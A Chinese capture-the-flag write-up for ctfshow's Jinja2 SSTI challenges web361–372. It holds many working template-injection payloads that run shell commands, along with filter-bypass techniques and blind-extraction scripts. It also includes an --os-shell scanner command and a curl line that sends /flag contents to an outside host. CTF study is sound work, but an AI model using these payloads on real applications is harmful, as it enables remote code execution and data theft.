本文中所有{ {、{ %,其余同理中本来应该没有空格,但是由于与Nunjunks语法碰撞,因此修改。
https://blog.csdn.net/q20010619/article/details/120493997
代码块:
1 2 3 4 变量块 { {} } 用于将表达式打印到模板输出 注释块 { 控制块 { %% } 可以声明变量,也可以执行语句 行声明
常用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __class__ 查看对象所在的类 __mro__ 查看继承关系和调用顺序,返回元组 __base__ 返回基类 __bases__ 返回基类元组 __subclasses__() 返回子类列表 __init__ 调用初始化函数,可以用来跳到__globals__ __globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典 __builtins__ 返回内建内建名称空间字典 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()) 都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b' ],就是a.__getitem__('b' ) __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__ ('os' ).popen('ls' ).read()]__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__' ]含有current_app get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__' ]含有current_app lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{ {lipsum.__globals__['os' ].popen('ls' ).read()} } { {cycler.__init__.__globals__.os.popen('ls' ).read()} } current_app 应用上下文,一个全局变量 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open 函数:request.__init__.__globals__['__builtins__' ].open ('/proc\self\fd/3' ).read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type :applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type :a/b) request.json post传json (Content-Type : application/json) config 当前application的所有配置。此外,也可以这样{ {config.__class__.__init__.__globals__['os' ].popen('ls' ).read() } }
过滤器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 int () 将值转换为int 类型;float () 将值转换为float 类型;lower() 将字符串转换为小写; upper() 将字符串转换为大写; title() 把值中的每个单词的首字母都转成大写; capitalize() 把变量值的首字母转成大写,其余字母转小写; trim() 截取字符串前面和后面的空白字符; wordcount() 计算一个长字符串中单词的个数; reverse() 字符串反转; replace(value,old,new) 替换将old替换为new的字符串; truncate(value,length=255 ,killwords=False ) 截取length长度的字符串; striptags() 删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e 转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。 safe() 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: { {'<em>hello</em>' |safe} }; list () 将变量列成列表;string() 将变量转换成字符串; join() 将一个序列中的参数值拼接成字符串。示例看上面payload; abs () 返回一个数值的绝对值;first() 返回一个序列的第一个元素; last() 返回一个序列的最后一个元素; format (value,arags,*kwargs) 格式化字符串。比如:{ {"%s" - "%s" |format ('Hello?' ,"Foo!" ) } }将输出:Helloo? - Foo!length() 返回一个序列或者字典的长度; sum () 返回列表内数值的和;sort() 返回排序后的列表; default(value,default_value,boolean=false) 如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo' )----如果name不存在,则会使用xiaotuo来替代。boolean=False 默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or 来替换。 length() 返回字符串的长度,别名是count
注入思路:
1 2 3 4 5 6 7 1. 随便找一个内置类对象用__class__拿到他所对应的类2. 用__bases__拿到基类(<class 'object' >)3. 用__subclasses__()拿到子类列表4. 在子类列表中直接寻找可以利用的类getshell对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval 函数
web361 名字就是考点,传入name尝试。 根据上图,推测可能是twig和Jinja2. 直接上payload: 可以用Lipsum:
1 ?name={ {lipsum.__globals__['os' ].popen('tac /flag' ).read()} }
cycler:
1 ?name={ {cycler.__init__.__globals__.os.popen('tac /flag' ).read()} }
控制块:
1 ?name={ % print (url_for.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat ../flag').read()" ))% }
或者用subclasses一点点扫也行,这里没必要。但这里写一下: 土方法:
1 2 3 ?name={ { %27 %27. __class__.__base__.__subclasses__()[132 ].__init__.__globals__['popen' ]('tac ../flag' ).read()} }
当然也可以直接使用splmap硬扫,指令如下。 注意,这个脚本需要使用python2使用,而且后面的指令都没有加上,要注意,如果你想使用该脚本可以按照如 下指令:
1 python2 ./splmap.py -u '目标地址' --os-shell
注意这里需要到达该文件根目录。 然后就自动进入命令行就可以查看文件了。
web362 1 ?name={ {lipsum.__globals__['os' ].popen('tac /flag' ).read()} }
web363 过滤单双引号 1 ?name={ {lipsum.__globals__[request.args.a].popen(request.args.b).read()} }&a=os&b=tac /flag
除此之外: 拼接:
1 2 3 4 5 6 7 (config.__str__()[2 ]) (config.__str__()[42 ]) ?name={ {url_for.__globals__[(config.__str__()[2 ])%2B(config.__str__()[42 ])]} } 等于 ?name={ {url_for.__globals__['os' ]} }
chr拼接
1 ?name={ % set chr =url_for.__globals__.__builtins__.chr % }{ % print url_for.__globals__[chr (111 )%2bchr(115 )]% }
过滤器拼接:
web364 过滤args 可以使用values
获取所有参数,来绕过args,当然cookie也行,注意cookie分割是分号
1 2 ?name={ {lipsum.__globals__[request.cookies.a].popen(request.cookies.b).read()} } Cookie:a=os;b=tac /flag
或者
1 ?name={ {lipsum.__globals__.os.popen(request.values.a).read()} }&a=cat /flag
相关wp:https://blog.csdn.net/miuzzx/article/details/110220425
字符串变量变量绕过方法 https://blog.csdn.net/q20010619/article/details/120493997
拼接:
反转:
在jinjia2里面,“cla””ss”是等同于”class”的,也就是说我们可以这样引用class,并且绕过字符串过滤
1 2 3 4 5 "" ["__cla" "ss__" ]"" .__getattribute__("__cla" "ss__" )"" ["__ssalc__" ][::-1 ]"" .__getattribute__("__ssalc__" [::-1 ])
ascii转换
1 2 "{0:c}" .format (97 )='a' "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}" .format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )='__class__'
编码绕过
1 2 3 "__class__" =="\x5f\x5fclass\x5f\x5f" =="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" 对于python2的话,还可以利用base64进行绕过 "__class__" ==("X19jbGFzc19f" ).decode("base64" )
chr函数
1 2 { % set chr =url_for.__globals__['__builtins__' ].chr % } { {"" [chr (95 )%2bchr(95 )%2bchr(99 )%2bchr(108 )%2bchr(97 )%2bchr(115 )%2bchr(115 )%2bchr(95 )%2bchr(95 )]} }
在jinja2里面可以利用~进行拼接
1 2 { %set a='__cla' % }{ %set b='ss__' % }{ {"" [a~b]} }
大小写转换
1 2 "" ["__CLASS__" .lower()]
过滤器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ('__clas' ,'s__' )|join ["__CLASS__" |lower "__claee__" |replace("ee" ,"ss" ) "__ssalc__" |reverse"%c%c%c%c%c%c%c%c%c" |format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )(()|select|string)[24 ]~ (()|select|string)[24 ]~ (()|select|string)[15 ]~ (()|select|string)[20 ]~ (()|select|string)[6 ]~ (()|select|string)[18 ]~ (()|select|string)[18 ]~ (()|select|string)[24 ]~ (()|select|string)[24 ] dict (__clas=a,s__=b)|join
获取键值或者下标
1 2 3 4 5 6 7 8 dict ['__builtins__' ]dict .__getitem__('__builtins__' )dict .pop('__builtins__' )dict .get('__builtins__' )dict .setdefault('__builtins__' )list [0 ]list .__getitem__(0 )list .pop(0 )
获取属性
1 2 3 4 ().__class__ ()["__class__" ] ()|attr("__class__" ) ().__getattribute__("__class__" )
web365 过滤中括号 上题的value可以用
1 ?name={ {lipsum.__globals__.os.popen(request.values.a).read()} }&a=cat /flag
cookie也可以
1 2 ?name={ {url_for.__globals__.os.popen(request.cookies.c).read()} } Cookie:c=cat /flag
常规,用__getitem__()
来代替[] 直接用__getitem__(1)
代替[1]
或者直接构建任意字符:
1 ?name={ {config.__str__().__getitem__(22 )} }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={ {config.__str__().__getitem__(%d)} }" payload="cat /flag" result="" for j in payload: for i in range (0 ,1000 ): r=requests.get(url=url%(i)) location=r.text.find("<h3>" ) word=r.text[location+4 :location+5 ] if word==j: print ("config.__str__().__getitem__(%d) == %s" %(i,j)) result+="config.__str__().__getitem__(%d)~" %(i) break print (result[:len (result)-1 ])
1 2 ?name={ {url_for.__globals__.os.popen(config.__str__().__getitem__(22 )~config.__str__().__getitem__(40 )~config.__str__().__getitem__(23 )~config.__str__().__getitem__(7 )~config.__str__().__getitem__(279 )~config.__str__().__getitem__(4 )~config.__str__().__getitem__(41 )~config.__str__().__getitem__(40 )~config.__str__().__getitem__(6 ) ).read()} }
web366 过滤下划线 用过滤器代替:{ {XXX|attr(request.args.AAA)|attr(reequest.args.BBB)} }
values
1 ?name={ {lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.cmd)|attr(request.values.f)()} }&cmd=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
cookie
1 2 3 ?name={ {(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()} } cookie:a=__globals__;b=cat /flag
web367 过滤os 但是也只是name过滤:
1 ?name={ {(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()} }&a=__globals__&b=os&c=cat /flag
web368 过滤 { {
控制块代替{ %
1 ?name={ %print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() % }&a=__globals__&b=os&c=cat /flag
盲注也可以:open('/flag').read()
是回显整个文件,但是read函数里加上参数:open('/flag').read(1)
,返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了 测试payload:
1 2 3 4 5 ?name={ { % set a=(lipsum|attr(request.values.a)).get(request.values.b).open (request.values.c).read(1 ) % } }{ { % if a==request.values.d % } }H3llo{ { % endif % } } &a=__globals__ &b=__builtins__ &c=/flag &d=c
但是在脚本中就不用管两个前括号,但是测试payload里面必须要空。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 """ @File : SSTI2.py @Contact : 2997453446@qq.com @Blog : natro92.github.io @Modify Time @Author @Version @Desciption ------------ ------- -------- ----------- 2023/7/23 18:01 natro92 1.0 { %% }盲注 """ import stringimport requestsfrom tqdm import trangeurl = 'http://eee5217c-c792-4517-883f-d6b38c2f5a58.challenge.ctf.show/' flag_pre = 'ctfshow{' str = '_' + string.printablefor i in trange(9 , 100 ): for j in str : params = { 'name' : "{ { % set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) % } }{ { % if a==request.values.d % } }H3llo{ { % endif % } }" .format (i), 'a' : "__globals__" , 'b' : "__builtins__" , 'c' : "/flag" , 'd' : f'{flag_pre + j} ' } r = requests.get(url, params=params) if 'H3llo' in r.text: flag_pre += j print (flag_pre) break
web369 过滤request 直接开拼 下划线被 ban,str ()不能用,需要用 string 过滤器得到 config 字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import stringimport requestsurl = 'http://eee5217c-c792-4517-883f-d6b38c2f5a58.challenge.ctf.show/?name={ { % print (config|string|list).pop({}).lower() % } }' flag_pre = 'ctfshow{' str = '_' + string.printablepayload = 'tac /flag' res = '' for j in payload: for i in range (0 ,1000 ): r=requests.get(url=url.format (i)) location=r.text.find("<h3>" ) word=r.text[location+4 :location+5 ] if word==j.lower(): print ("(config|string|list).pop(%d).lower() == %s" %(i,j)) res+="(config|string|list).pop(%d).lower()~" %(i) break
payload:
1 2 ?name={ % print (lipsum|attr((config|string|list ).pop(74 ).lower()~(config|string|list ).pop(74 ).lower()~(config|string|list ).pop(6 ).lower()~(config|string|list ).pop(41 ).lower()~(config|string|list ).pop(2 ).lower()~(config|string|list ).pop(33 ).lower()~(config|string|list ).pop(40 ).lower()~(config|string|list ).pop(41 ).lower()~(config|string|list ).pop(42 ).lower()~(config|string|list ).pop(74 ).lower()~(config|string|list ).pop(74 ).lower() )).get((config|string|list ).pop(2 ).lower()~(config|string|list ).pop(42 ).lower()).popen((config|string|list ).pop(1 ).lower()~(config|string|list ).pop(40 ).lower()~(config|string|list ).pop(23 ).lower()~(config|string|list ).pop(7 ).lower()~(config|string|list ).pop(279 ).lower()~(config|string|list ).pop(4 ).lower()~(config|string|list ).pop(41 ).lower()~(config|string|list ).pop(40 ).lower()~(config|string|list ).pop(6 ).lower()).read() % }
替换字符 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ?name= { % set a=(()|select|string|list ).pop(24 ) % } { % set globals =(a,a,dict (globals =1 )|join,a,a)|join % } { % set init=(a,a,dict (init=1 )|join,a,a)|join % } { % set builtins=(a,a,dict (builtins=1 )|join,a,a)|join % } { % set a=(lipsum|attr(globals )).get(builtins) % } { % set chr =a.chr % } { % print a.open (chr (47 )~chr (102 )~chr (108 )~chr (97 )~chr (103 )).read() % }
相当于:
1 2 3 4 lipsum.__globals__['__builtins__' ].open ('/flag' ).read()
web370 过滤数字 1 2 3 4 5 6 7 8 9 10 11 { %set num=dict (aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count% } { %set numm=dict (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count% } { %set x=(()|select|string|list ).pop(num)% } { %set glob = (x,x,dict (globals =a)|join,x,x)|join % } { %set builtins=x~x~(dict (builtins=a)|join)~x~x% } { %set c = dict (chr =a)|join% } { %set o = dict (o=a,s=a)|join% } { %set getitem = x~x~(dict (getitem=a)|join)~x~x% } { %set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)% } { %set file = chr (numm)~dict (flag=a)|join% } { %print ((lipsum|attr(glob)|attr(getitem)(builtins)).open (file).read())% }
web371 无回显 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { %set e=dict (a=a)|join|count% } { %set ee=dict (aa=a)|join|count% } { %set eee=dict (aaa=a)|join|count% } { %set eeee=dict (aaaa=a)|join|count% } { %set eeeee=dict (aaaaa=a)|join|count% } { %set eeeeee=dict (aaaaaa=a)|join|count% } { %set eeeeeee=dict (aaaaaaa=a)|join|count% } { %set eeeeeeee=dict (aaaaaaaa=a)|join|count% } { %set eeeeeeeee=dict (aaaaaaaaa=a)|join|count% } { %set eeeeeeeeee=dict (aaaaaaaaaa=a)|join|count% } { %set x=(()|select|string|list ).pop((ee~eeee)|int )% } { %set glob = (x,x,dict (globals =a)|join,x,x)|join % } { %set builtins=x~x~(dict (builtins=a)|join)~x~x% } { %set import =x~x~(dict (import =a)|join)~x~x% } { %set c = dict (chr =a)|join% } { %set o = dict (o=a,s=a)|join% } { %set getitem = x~x~(dict (getitem=a)|join)~x~x% } { %set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)% } { %set zero=chr ((eeee~eeeeeeee)|int )% } { %set cmd = % } { %if (lipsum|attr(glob)|attr(getitem)(builtins)).eval (cmd)% } eastjun { %endif% }
命令生成脚本:
1 2 3 4 5 6 7 8 9 import redef filting (s ): return "" .join([f"chr({ord (i)} )~" for i in s])[:-1 ] cmd=filting("curl https://eastjun.top?flag=`cat /flag`" ) nums = set (re.findall("(\d+)" ,cmd)) for i in nums: patnum = "" .join(["zero~" if j=="0" else f'{"e" * int (j)} ~' for j in f"{i} " ]) cmd = cmd.replace(f"{i} " ,f"({patnum[:-1 ]} )|int" ) print (cmd)
web372 无回显过滤 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { %set e=dict (a=a)|join|length% } { %set ee=dict (aa=a)|join|length% } { %set eee=dict (aaa=a)|join|length% } { %set eeee=dict (aaaa=a)|join|length% } { %set eeeee=dict (aaaaa=a)|join|length% } { %set eeeeee=dict (aaaaaa=a)|join|length% } { %set eeeeeee=dict (aaaaaaa=a)|join|length% } { %set eeeeeeee=dict (aaaaaaaa=a)|join|length% } { %set eeeeeeeee=dict (aaaaaaaaa=a)|join|length% } { %set eeeeeeeeee=dict (aaaaaaaaaa=a)|join|length% } { %set x=(()|select|string|list ).pop((ee~eeee)|int )% } { %set glob = (x,x,dict (globals =a)|join,x,x)|join % } { %set builtins=x~x~(dict (builtins=a)|join)~x~x% } { %set import =x~x~(dict (import =a)|join)~x~x% } { %set c = dict (chr =a)|join% } { %set o = dict (o=a,s=a)|join% } { %set getitem = x~x~(dict (getitem=a)|join)~x~x% } { %set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)% } { %set zero=chr ((eeee~eeeeeeee)|int )% } { %set cmd = % } { %if (lipsum|attr(glob)|attr(getitem)(builtins)).eval (cmd)% } eastjun { %endif% }